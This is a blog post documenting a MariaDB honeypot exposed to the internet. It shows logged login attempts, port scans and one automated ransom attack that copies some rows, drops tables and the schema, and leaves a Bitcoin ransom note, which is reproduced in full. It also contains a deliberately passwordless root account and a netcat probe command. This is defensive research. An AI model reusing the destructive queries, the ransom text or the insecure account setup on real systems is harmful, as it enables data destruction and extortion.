You are here

MariaDB Honeypot

In our MariaDB advanced training courses, which we hold approximately every two months, we use machines that are directly exposed to the Internet with a public IP address.
Warning: You should NEVER expose a database directly to the Internet without protection!
Typically, it takes less than 72 hours (3 days) before we are exposed to the first external access attempts.

This looks something like this in the MariaDB error log:

[Warning] Aborted connection 22939 to db: 'unconnected' user: 'unauthenticated' host: '118.193.58.125' (This connection closed normally without authentication)
[Warning] Aborted connection 22940 to db: 'unconnected' user: 'unauthenticated' host: '118.193.58.125' (This connection closed normally without authentication)
[Warning] Access denied for user ''@'118.193.58.125' (using password: NO)
[Warning] Access denied for user 'root'@'118.193.58.125' (using password: YES)
[Warning] Access denied for user 'root'@'118.193.58.125' (using password: YES)

First of all, it was checked whether a database is listening and how it responds. Then various attempts are made to penetrate the database. It looks like there are various sampling and attack patterns. The anonymous user (''@'%') and 'root'@'%' are checked with and without a password.
Whether other users will be tested remains to be seen over a longer observation period.

And this is what it looks like from the MariaDB General Query Log:

287793 Connect root@196.251.91.77 on  using TCP/IP
287793 Connect Access denied for user 'root'@'196.251.91.77' (using password: NO)
287794 Connect root@196.251.91.77 on  using TCP/IP
287794 Connect Access denied for user 'root'@'196.251.91.77' (using password: YES)
287796 Connect root@196.251.91.77 on  using TCP/IP
287796 Connect Access denied for user 'root'@'196.251.91.77' (using password: YES)

Preparing the honeypot

At the end of the training, we no longer need the machines, they will be removed. That's why I was tempted to try out what happens when an access attempt is successful. To test this, the user 'root'@'%' was created without a password as follows and given all rights to the test schema:

SQL> CREATE USER 'root'@'%';
SQL> GRANT ALL ON test.* TO 'root'@'%';

and both the MariaDB General Log was switched on and the MariaDB Error Log was made more talkative:

# my.cnf

[server]

general_log_file  = /var/log/mysql/general.log
general_log       = on
log_error         = /var/log/mysql/error.log
log_warnings      = 9   # too much!
bind_address      = *
skip_name_resolve = on   # How much info do we loose?
# skip_grant_tables

After that it was just a matter of lying in wait and seeing what happens...

TODO: It would be interesting to see which passwords are used to access the database. Let's see if we can find out without patching the MariaDB source code...? Maybe one should also try using wireshark or tcpdump to make the passwords visible.

The first fly buzzes in

Then the first fly (from Amsterdam, Netherlands) seems to arrive at the honeypot. First we have a warning that the reverse lookup of the IP address fails:

[Warning] Hostname 'no-reverse-dns-configured.com' does not resolve to '94.102.49.155'.

But then it goes in. But doesn't do anything exciting:

250228 16:06:32  1222 Connect root@94.102.49.155 on  using TCP/IP
                 1222 Query   SHOW databases
                 1222 Query   SHOW tables IN information_schema
                 1222 Query   SHOW tables IN test
                 1222 Query   SHOW VARIABLES
250228 16:06:33  1222 Quit

What does the fly get to see:

SQL> SHOW databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| test               |
+--------------------+

SQL> SHOW tables IN information_schema;
+-------------------------------+
| Tables_in_information_schema  |
+-------------------------------+
| ALL_PLUGINS                   |
| APPLICABLE_ROLES              |
| CHARACTER_SETS                |
| ...                           |
| INNODB_TABLESPACES_ENCRYPTION |
| INNODB_LOCK_WAITS             |
| THREAD_POOL_STATS             |
+-------------------------------+
82 rows in set (0.000 sec)

SQL> SHOW tables IN test;
+----------------+
| Tables_in_test |
+----------------+
| test           |
+----------------+

SQL> SHOW VARIABLES;
+----------------------------------------------------------+------------+
| Variable_name                                            | Value      |
+----------------------------------------------------------+------------+
| allow_suspicious_udfs                                    | OFF        |
| alter_algorithm                                          | DEFAULT    |
| analyze_sample_percentage                                | 100.000000 |
| ...                                                      |            |
| wsrep_sync_wait                                          | 0          |
| wsrep_trx_fragment_size                                  | 0          |
| wsrep_trx_fragment_unit                                  | bytes      |
+----------------------------------------------------------+------------+
686 rows in set (0.003 sec)

Maybe the algorithm of the attack is smart enough here and realises that an attack is not worthwhile?

Then we wait for the next fly...

The next fly comes flying

And there it is (this time from the USA, Minneapolis) in the MariaDB error log:

[Warning] Hostname 'undefined.hostname.localhost' does not resolve to '196.251.83.136'.

Now it will be interesting to see what exactly happens in the MariaDB General Query Log?

First, a connection is established and kept open (keep your foot in the door?):

250228 16:06:55    67 Connect root@196.251.83.136 on  using TCP/IP
                   67 Query   SET AUTOCOMMIT=0

Then, 15 seconds later, a connection is opened and closed again (make sure you were really successful?):

250228 16:07:10    68 Connect root@196.251.83.136 on  using TCP/IP
                   68 Query   SET AUTOCOMMIT=0
                   68 Quit

Immediately afterwards, all schemas are queried:

                   69 Connect root@196.251.83.136 on  using TCP/IP
                   69 Query   SET AUTOCOMMIT=0
                   69 Query   SHOW DATABASES
                   69 Quit

Then a connection is opened and closed again:

                   70 Connect root@196.251.83.136 on  using TCP/IP
                   70 Query   SET AUTOCOMMIT=0
                   70 Quit

Then a check is made to see how large the schema is. Probably to ensure that it is not too large? Then the tables are queried. The connection is kept open and work continues 2 seconds later.

                   71 Connect root@196.251.83.136 on  using TCP/IP
                   71 Query   SET AUTOCOMMIT=0
                   71 Query   SELECT SUM(data_length + index_length) FROM information_schema.tables WHERE table_schema = 'test'
                   71 Query   USE `test`
                   71 Query   SHOW tables

Then a mariadb-dump imitation? with version ≥ 10.1 is started to read the first 10!!!! lines of the table aaa_payload in the schema test.

250228 16:07:11    72 Connect root@196.251.83.136 on  using TCP/IP
                   72 Query   /*!40100 SET @@SQL_MODE='' */
                   72 Query   /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */
                   72 Query   /*!100100 SET WAIT_TIMEOUT=DEFAULT */
                   72 Query   set optimizer_switch='semijoin=off'
                   72 Query   SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aaa_payload'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME
                   72 Query   SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aaa_payload')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME
                   72 Query   set optimizer_switch=default
                   72 Init DB test
                   72 Query   SHOW VARIABLES LIKE 'lower_case_table_names'
                   72 Query   SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload'
                   72 Query   SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload'
                   72 Query   SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload'
                   72 Query   SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload'
                   72 Query   SET SQL_QUOTE_SHOW_CREATE=1
                   72 Query   show fields from `aaa_payload`
                   72 Query   SELECT /*!40001 SQL_NO_CACHE */ `id`, `name` FROM `aaa_payload` WHERE 1 LIMIT 10
                   72 Quit

Then the same again with a table called bbb_payload:

                   73 Connect root@196.251.83.136 on  using TCP/IP
                   73 Query   /*!40100 SET @@SQL_MODE='' */
                   73 Query   /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */
                   73 Query   /*!100100 SET WAIT_TIMEOUT=DEFAULT */
                   73 Query   set optimizer_switch='semijoin=off'
                   73 Query   SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('bbb_payload'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME
                   73 Query   SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('bbb_payload')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME
                   73 Query   set optimizer_switch=default
                   73 Init DB test
                   73 Query   SHOW VARIABLES LIKE 'lower_case_table_names'
250228 16:07:12    73 Query   SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload'
                   73 Query   SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload'
                   73 Query   SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload'
                   73 Query   SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload'
                   73 Query   SET SQL_QUOTE_SHOW_CREATE=1
                   73 Query   show fields from `bbb_payload`
                   73 Query   SELECT /*!40001 SQL_NO_CACHE */ `id`, `name` FROM `bbb_payload` WHERE 1 LIMIT 10
                   73 Quit

And finally our main table test but again only the first 10!!!! rows:

                   74 Connect root@196.251.83.136 on  using TCP/IP
                   74 Query   /*!40100 SET @@SQL_MODE='' */
                   74 Query   /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */
                   74 Query   /*!100100 SET WAIT_TIMEOUT=DEFAULT */
                   74 Query   set optimizer_switch='semijoin=off'
                   74 Query   SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('test'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME
                   74 Query   SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('test')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME
                   74 Query   set optimizer_switch=default
                   74 Init DB test
                   74 Query   SHOW VARIABLES LIKE 'lower_case_table_names'
                   74 Query   SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test'
                   74 Query   SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test'
                   74 Query   SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test'
                   74 Query   SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test'
                   74 Query   SET SQL_QUOTE_SHOW_CREATE=1
                   74 Query   show fields from `test`
                   74 Query   SELECT /*!40001 SQL_NO_CACHE */ `id`, `data`, `ts` FROM `test` WHERE 1 LIMIT 10
                   74 Quit

Then it continues again with Connection 71: The 3 tables test, bbb_payload and aaa_payload are deleted:

                   71 Query   USE `test`
                   71 Query   SHOW TABLES
                   71 Query   SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'test' AND REFERENCED_TABLE_NAME IS NOT NULL
                   71 Query   SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'bbb_payload' AND REFERENCED_TABLE_NAME IS NOT NULL
250228 16:07:13    71 Query   SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'aaa_payload' AND REFERENCED_TABLE_NAME IS NOT NULL
                   71 Query   DROP TABLE `test`
                   71 Query   DROP TABLE `bbb_payload`
                   71 Query   DROP TABLE `aaa_payload`

Then a table called RECOVER_YOUR_DATA is created and provided with the text how to pay the ransom. The amount is 0.0101 Bitcoin, which currently corresponds to around EUR 863.40. Mind you, they only dumped the first 10 lines and then deleted them!

                   71 Query   CREATE TABLE IF NOT EXISTS RECOVER_YOUR_DATA (text VARCHAR(255))
                   71 Query   INSERT INTO RECOVER_YOUR_DATA (text) VALUES ('All your data is backed up. You must pay 0.0101 BTC to bc1qm0v2r0mmx3py3h7fzkerd9a6rzdrpw5afqacen In 48 hours, your data will be publicly disclosed and deleted. (more information: go to https://is.gd/yotuqu)')
                   71 Query   INSERT INTO RECOVER_YOUR_DATA (text) VALUES ('After payment send mail to us: rambler+2r8qm@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 2R8QM')
                   71 Query   COMMIT
                   71 Quit
The following text can be found behind the link:
Please take note of the following:

We are aware that you have accessed this guide.
This offer stands for 24hs

After 72 hours, we cannot guarantee that we will be able to send the data to you.
The only way to recover your data is by making the payment. We will not provide the data for free.

Data leakage is a serious legal violation. Rest assured, the incident will remain confidential, and your data is protected.

After your payment is completed, all data downloaded from you will be deleted from our servers, government agencies, competitors, contractors, and local media are currently unaware of the incident.

If you pay we guarantee that your data will not be sold on Darkweb resources and will not be used to attack your company, employees, or counterparties in the future and the full database dump will be sent to you.

If you have not contacted us within two days from the time of the incident, we will consider the transaction incomplete. Your data will then be sent to any interested parties. This is your responsibility.

If you are a system administrator or programmer and your boss is unaware of this incident, we will contact them after 48 hours.

If you are unable to contact us using the provided email, please visit https://getsession.org/ and download the Session Messenger. Add us using the following Session ID for a smoother conversation and better negotiation:
Session ID:
05a5ba6491a15908207cce6e257b3316cd11cb2575f75194d3c59c37de68eaf55a

After payment, please provide us with a screenshot or proof of payment.
Once the payment is confirmed, we will send you a download link for your data. We will also delete our copy of the data.

IMPORTANT!!
DO NOT FORGET TO INCLUDE YOUR DBCODE IN YOUR MAIL OR MESSAGE YOU SEND TO US

The only accepted payment method is Bitcoin.
Be advised: PayPal, WeTransfer, Alipay, credit cards, and other methods will not be accepted.
If you prefer to pay with another cryptocurrency, please contact us to make arrangements.

If you don't have Bitcoin, you can purchase it using a credit card from the following websites:

MoonPay: https://www.moonpay.com/buy
Paybis: https://paybis.com/
Changelly: https://changelly.com/buy

Alternatively, you can buy Bitcoin using other payment methods from the following platforms (some of them work in China):

Coinbase: https://www.coinbase.com/
Paxful: https://paxful.com/
Binance: https://www.binance.com/
Crypto.com: https://www.crypto.com/
Huobi: https://www.huobi.com/
OKCoin: https://www.okcoin.com/
BTCC: https://www.btcc.com/
Paybis: https://paybis.com/
Coinmama: https://coinmama.com/
Bitfinex: https://www.bitfinex.com/
For users in China, Bitcoin can be purchased with Alipay from:

CoinCola: https://www.coincola.com/?lang=zh-HK
BitValve: https://www.bitvalve.com/buy-bitcoin/alipay

And this text is written to the RECOVER_YOUR_DATA table:

SQL> SELECT * FROM RECOVER_YOUR_DATA;
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| text                                                                                                                                                                                                            |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| All your data is backed up. You must pay 0.0101 BTC to bc1qm0v2r0mmx3py3h7fzkerd9a6rzdrpw5afqacen In 48 hours, your data will be publicly disclosed and deleted. (more information: go to https://is.gd/yotuqu) |
| After payment send mail to us: rambler+2r8qm@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 2R8QM                                                                      |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

Then the test schema (where the RECOVER_YOUR_DATA table is contained?) is deleted.

                   75 Connect root@196.251.83.136 on  using TCP/IP
                   75 Query   SET AUTOCOMMIT=0
                   75 Query   DROP DATABASE `test`
                   75 Query   COMMIT
                   75 Quit

And a new schema is created with the name RECOVER_YOUR_DATA:

                   76 Connect root@196.251.83.136 on  using TCP/IP
                   76 Query   SET AUTOCOMMIT=0
                   76 Query   CREATE DATABASE IF NOT EXISTS RECOVER_YOUR_DATA
                   76 Quit

Somehow the access doesn't seem logical to me and still has potential. Since the RECOVER_YOUR_DATA table is missing (deleted with schema test), you can no longer pay if you wanted to...

Maybe the developer did not expect a limited root account and therefore the tool behaves incorrectly? See also the three repetitions when dumping the tables.

Where does the access come from?

I don't know how well you can disguise where you are coming from and how good the geo-resolution of the IP addresses is, I don't know enough about that. A search revealed that the IP comes from Amsterdam (Netherlands).

After further research, it turned out that the IP belongs to an organisation called Internet Secuirty Ekabi (note misspelling as in the original!) with an address in the USA and a location in the Seychelles.
If anyone can give me any more tips on what I can find out, I would be very grateful!

Where do the IP addresses come from?

In the short period under observation, we observed access from the following regions:

  • Alibaba Cloud, Singapore
  • Google Belgium, Brussels
  • Data-Center Imaqliq Ltd., Russia, St. Petersburg
  • Alibaba Cloud, Japan, Tokyo
  • FiberXpress BV, Netherlands, Amsterdam
  • M247 Europe SRL, United Kingdom, Manchester
  • Hetzner Online GmbH, Finland, Helsinki
  • Internet Secuirty Ekabi, Netherlands, Amsterdam (2 x)
  • Internet Security Cheapyhost, Netherlands, Amsterdam (9 x)
  • Internet Security Nybula, Netherlands, Amsterdam (2 x)

Access pattern

All access attempts are made WITHOUT SSL/TLS.

Fingerprint from the perspective of the MariaDB General Query Log:

9 x
Connect root@34.140.63.218 on  using TCP/IP
Connect Access denied for user 'root'@'34.140.63.218' (using password: NO)

1 x
Connect root@45.135.95.25 on  using TCP/IP
Connect Access denied for user 'root'@'45.135.95.25' (using password: NO)
Connect root@45.135.95.25 on  using TCP/IP
Connect Access denied for user 'root'@'45.135.95.25' (using password: NO)

4 x
Connect root@196.251.118.8 on  using TCP/IP
Connect Access denied for user 'root'@'196.251.118.8' (using password: NO)
Connect root@196.251.118.8 on  using TCP/IP
Connect Access denied for user 'root'@'196.251.118.8' (using password: YES)
Connect root@196.251.118.8 on  using TCP/IP
... mit 2 Wiederholungen

1 x
Connect root@94.102.49.155 on  using TCP/IP
Connect Access denied for user 'root'@'94.102.49.155' (using password: NO)
Connect root@94.102.49.155 on  using TCP/IP
Connect Access denied for user 'root'@'94.102.49.155' (using password: YES)
... mit 6 Wiederholungen

2 x
Connect root@196.251.91.19 on  using TCP/IP
Connect Access denied for user 'root'@'196.251.91.19' (using password: NO)
Connect root@196.251.91.19 on  using TCP/IP
Connect Access denied for user 'root'@'196.251.91.19' (using password: YES)
... mit 28 Wiederholungen

1 x
Connect root@157.180.29.231 on  using TCP/IP
Connect Access denied for user 'root'@'157.180.29.231' (using password: NO)
Connect root@157.180.29.231 on  using TCP/IP
Connect Access denied for user 'root'@'157.180.29.231' (using password: NO)
Connect root@157.180.29.231 on  using TCP/IP
Connect Access denied for user 'root'@'157.180.29.231' (using password: YES)
Connect root@157.180.29.231 on  using TCP/IP
Connect Access denied for user 'root'@'157.180.29.231' (using password: YES)
Mit jeweils zeitlichem Abstand

2 x
Connect root@196.251.86.26 on  using TCP/IP
Connect Access denied for user 'root'@'196.251.86.26' (using password: NO)
Connect root@196.251.86.26 on  using TCP/IP
Connect Access denied for user 'root'@'196.251.86.26' (using password: YES)
Connect root@196.251.86.26 on  using TCP/IP
... mit 38 Wiederholungen

It is of course possible that some of these access attempts use the same tools and were simply cancelled after a different number of attempts and the tools thus generated a different pattern.

Access pattern from the perspective of the MariaDB error log

Possible accesses to the Galera Protocol

[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Unsupported/unrecognized gmcast protocol version: {
         at ./gcomm/src/gmcast_message.hpp:unserialize():331
         at ./gcomm/src/gmcast.cpp:handle_up():1494
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.

and:

[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.

Whether this was an access attempt or whether we only had a problem in our network or Galera cluster still needs to be verified.

Problems with the name resolution

To get more and additional information the database was run WITHOUT skip_name_resolve. This leads to various warnings regarding name resolution (forwards and backwards).

[Warning] Hostname 'no-reverse-dns-configured.com' does not resolve to '94.102.49.155'.
[Warning] Host name 'scanner-28.ch1.censys-scanner.com' could not be resolved: Name or service not known
[Warning] IP address '34.140.170.97' has been resolved to the host name '97.170.140.34.bc.googleusercontent.com', which resembles IPv4-address itself.
[Warning] IP address '165.154.100.58' could not be resolved: Name or service not known
[Warning] IP address '104.193.135.104' could not be resolved: Temporary failure in name resolution

In addition, various scanner systems were noticed, some of which resolved correctly: security.ipip.net coop.net {ch1|hk2}.censys-scanner.com

Conclusion: slog_warnings = 9 is too high, activate skip_name_resolve.

Port probing

Simple port probing (tapping the ports) can be done as follows:

# netcat -z -n -v 10.116.63.139 3300-3310

In the MariaDB error log on the database page you will see the following:

[Warning] Could not read packet: fd: 56  state: 1  read_length: 4  errno: 110  vio_errno: 1159  length: 0
[Warning] Aborted connection 52 to db: 'unconnected' user: 'unauthenticated' host: '_gateway.incus' (This connection closed normally without authentication)

These port probes are not even displayed in the MariaDB general query log.

Different variants and patterns of port probing

We have noticed the following 3 patterns of port probing:

[Warning] Could not read packet: fd: 63  state: 1  read_length: 4  errno: 104  vio_errno: 1158  length: -1
[Warning] Aborted connection 76 to db: 'unconnected' user: 'unauthenticated' host: '45.142.193.153' (This connection closed normally without authentication)

198.235.24.140 115.231.78.10
[Warning] Could not read packet: fd: 63  state: 1  read_length: 4  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 50 to db: 'unconnected' user: 'unauthenticated' host: '20.65.194.133' (This connection closed normally without authentication)

[Warning] Could not write packet: fd: 64  state: 1  errno: 104  vio_errno: 1160  length: 42
[ERROR] mariadbd: Got an error writing communication packets
[Warning] Aborted connection 55 to db: 'unconnected' user: 'unauthenticated' host: 'connecting host' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 4  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 56 to db: 'unconnected' user: 'unauthenticated' host: '137.184.75.161' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 4  errno: 0  vio_errno: 1158  length: 0
[Warning] Aborted connection 57 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 87  state: 1  read_length: 4  errno: 0  vio_errno: 1158  length: 0
[Warning] Aborted connection 58 to db: 'unconnected' user: 'unauthenticated' host: '165.22.188.115' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 196974  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 59 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 196974  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 60 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 197053  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 61 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 197067  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 62 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 196986  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 63 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 131449  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 64 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 65900  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 65 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 65900  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 66 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 65910  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 67 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64  state: 1  read_length: 65887  errno: 11  vio_errno: 1158  length: 0
[Warning] Aborted connection 68 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)

What exactly was tried in the third case is still beyond my knowledge.

And here is a breakdown of the error messages:

# perror 104
OS error code 104:  Connection reset by peer

# perror 11
OS error code  11:  Resource temporarily unavailable

# perror 1158
MariaDB error code 1158 (ER_NET_READ_ERROR): Got an error reading communication packets
Learn more: https://mariadb.com/kb/en/e1158/

# perror 1160
MariaDB error code 1160 (ER_NET_ERROR_ON_WRITE): Got an error writing communication packets
Learn more: https://mariadb.com/kb/en/e1160/

Out of order packets (4 x)

Another pattern we have seen is packets in the wrong order. Whether this is intentional or has to do with the network between the attacker and the database cannot be said at the moment (the IPs are said to originate from Italy, USA and 2 x Sweden).

Sources: 45.91.171.169 45.147.250.222 20.168.122.53 91.223.169.88

Example:

[ERROR] mariadbd: Got packets out of order
[Warning] Aborted connection 49 to db: 'unconnected' user: 'unauthenticated' host: '103.45.246.42' (This connection closed normally without authentication)

Incomplete connection setup (51 x)

Sources: 80.82.70.133 194.165.16.167 162.142.125.* 205.210.31.* 104.248.130.34 198.235.24.* 209.38.99.93 171.36.7.2 34.77.151.17 118.193.33.60 147.185.132.118 88.214.25.121 188.166.68.252 118.193.43.158 206.189.5.176 165.22.187.120 45.142.193.153 196.251.90.186 134.209.221.50 89.185.82.115 104.248.229.49 35.205.56.72 198.235.24.28 43.248.108.8 167.71.184.54 154.212.141.215 89.248.174.130 154.212.141.212 34.140.35.166 167.94.146.* 167.94.145.* 103.149.26.234 137.184.64.140 170.64.154.53 165.22.188.115 185.47.172.136 199.45.154.148 147.185.132.108 20.171.28.254 103.203.57.18

and also from these networks (Internet monitoring and AWS):

Sources: {larry|sharon|susan}.probe.onyphe.net {poetic|glowing|principled].monitoring.internet-measurement.com prod-{boron|barium}-{sfo2|us-central|us-east|nyc1|us-southeast}-{\d{2,3}}. {do|li}.binaryedge.ninja azpd{\w{5,8}}.stretchoid.com scan-{\d{2}[a-z]}.shadowserver.org pdcscan{2,3}.scanning.cybcube.com ec2-{\w*}[us-east-2]?.compute[-1]?.amazonaws.com

Example:

[Warning] Aborted connection 325749 to db: 'unconnected' user: 'unauthenticated' host: '137.184.64.140' (This connection closed normally without authentication)
... 0, 1, 4, 5, 8, 9, 10 Wiederholungen

Access attempt using regular connect

Attempts WITHOUT password (40x)

Sources: 196.251.91.* 196.251.114.* 196.251.90.* 196.251.115.18 196.251.115.26 196.251.83.97 196.251. 90.186 34.140.170.97 196.251.85.11 196.251.83.125

Example:

[Warning] Access denied for user 'root'@'196.251.91.69' (using password: NO)

Attempts WITHOUT and then WITH password (28 x)

